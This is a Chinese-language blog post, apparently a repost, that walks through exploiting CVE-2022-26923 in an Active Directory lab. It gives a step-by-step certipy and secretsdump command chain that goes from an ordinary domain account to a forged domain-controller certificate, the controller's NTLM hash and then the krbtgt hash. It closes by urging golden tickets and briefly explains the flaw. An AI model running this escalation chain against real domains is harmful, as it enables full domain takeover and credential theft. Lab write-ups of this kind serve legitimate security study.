CVE-2022-26923 从普通域账户到Krbtgt - 挖洞的土拨鼠
2022-8-18 11:51:0 Author: www.cnblogs.com(查看原文) 阅读量:51 收藏

靶机环境搭建

  • 域控DC(需要安装证书服务):172.16.125.156
  • 攻击机Kali:172.16.125.157
  • 域控普通账户:zhangsan/zs1234567890*
  • 攻击工具:

靶机域控安装证书服务关键

攻击过程

漏洞信息收集

certipy find -debug -u [email protected] -p "zs1234567890*" -dc-ip 172.16.125.156

注册机器账号

certipy account create -u "[email protected]" -p "zs1234567890*" -dc-ip 172.16.125.156 -user "machinetestcymm" -dns "dc01.sec.com" -debug

注册机器账号证书

sudo certipy req -u "machinetestcymm$" -p "rFQeKXLCmmDQ5MuZ" -dc-ip 172.16.125.156 -ca sec-dc01-ca -template Machine -debug

获取机器账号NTLM-Hash

certipy auth -pfx dc01.pfx -dc-ip 172.16.125.156 -debug

获取Krbtgt的NTLM-Hash

python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:69eb46ed2b60a1c81bcc9fb09ffe9cfc "sec.com/dc01\[email protected]"  -just-dc-user krbtg

后记

然后该做啥大家应该都清楚了吧,哈哈哈哈,黄金票据啊直接上。

原理

默认情况下:

  • 域用户注册 User 证书模板;
  • 域计算机注册 Machine 证书模板。

这两个证书模板都允许客户端身份验证。当用户账户申请 User 模板证书时,使用UPN(用户名@AD域名)这个唯一ID嵌入到证书中以进行识别,User 证书模板的 msPKI-Certificate-Name-Flag 属性存在一个 CT_FLAG_SUBJECT_ALT_REQUIRE_UPN 标志位,其指示 CA 将来自 Active Directory 中请求者用户对象的 UPN 属性值(用户名@AD域名)添加到已颁发证书的主题备用名称中。

而Machine证书模板没有UPN属性,但Machine证书模板的 msPKI-Certificate-Name-Flag 属性还存在一个 CT_FLAG_SUBJECT_ALT_REQUIRE_DNS标志位,其指示 CA 将从 Active Directory 中请求者用户对象的 DNS 属性获得的值添加到已颁发证书的主题备用名称中。

而这个dNSHostName属性值并不唯一,通过User用户创建Machine账户,将Machine账户(具有写入权限)的dNSHostName值改为与域控制器的计算机账户相同的dNSHostName值,欺骗AD CS申请到域控制器的AD证书。但SPN属性具有唯一性,它包含dNSHostName,如果dNSHonstName发生改变会带动servicePrintcipalName的RestrictedKrbHost和Host发生改变,由于唯一性会发生报错,所以想要漏洞完成漏洞要删除账户中的servicePrincipalName属性值。

参考链接


文章来源: https://www.cnblogs.com/KevinGeorge/p/16598187.html
如有侵权请联系:admin#unsafe.sh